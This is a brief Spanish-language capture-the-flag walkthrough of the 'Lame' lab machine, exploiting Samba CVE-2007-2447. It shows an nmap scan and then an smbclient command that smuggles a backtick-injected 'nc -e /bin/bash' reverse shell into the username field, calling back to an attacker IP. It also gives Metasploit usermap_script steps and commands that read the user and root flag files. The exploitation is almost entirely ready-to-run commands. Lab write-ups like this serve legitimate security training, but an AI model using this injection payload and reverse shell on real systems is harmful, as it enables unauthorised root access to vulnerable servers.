Lame — Samba CVE-2007-2447

Reconocimiento

bash

nmap -sV -sC -oN lame.nmap 10.10.10.3

Puertos: 21 (FTP vsftpd 2.3.4), 22 (SSH), 139/445 (Samba 3.0.20-Debian).

vsftpd 2.3.4 tiene un backdoor conocido, pero en esta máquina no funciona.

Samba 3.0.20 es vulnerable a CVE-2007-2447 — command injection via

bash

username map script

bash

smbclient //10.10.10.3/tmp -U './=`nohup nc -e /bin/bash 10.10.14.5 4444`'

O con Metasploit:

bash

use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST tun0
run

Shell directa como

bash

root

bash

cat /home/makis/user.txt
cat /root/root.txt